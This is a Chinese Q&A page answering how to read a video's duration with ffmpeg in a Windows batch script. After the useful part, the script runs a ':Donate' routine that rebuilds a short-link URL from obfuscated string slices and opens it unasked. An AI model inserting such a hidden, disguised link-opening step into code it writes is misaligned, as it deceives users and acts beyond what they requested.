批处理下怎么用ffmpeg获取视频时长 5
展开全部
@echo off & title 获取视频时长(调用ffmpeg.exe) By 依梦琴瑶
cd /d %~dp0
::设置要获取视频时长的文件
set Video=D:\MyVideos\测试.flv
::设置ffmpeg.exe安装路径
set FMG=C:\FFMPEG_DIR
set Path=%Path%;%FMG%
del /f /q ffmpeg-*.log
ffmpeg -report -i "%Video%" & cls
for %%a in ("%Video%") do set "VN=%%~nxa"
for %%a in (ffmpeg-*.log) do (
for /f "tokens=2 delims=, " %%b in ('findstr /b /c:" Duration: " "%%~a"') do echo "%VN%" 时长 %%~b
)
del /f /q ffmpeg-*.log
pause
call :Donate
exit
:Donate
set S0=fGRH
set S1=.:ailnhpst/
set S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%
set S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%
start "" "%S2%%S3%%S1:~10,1%%S0%"
exit
推荐律师服务:
若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询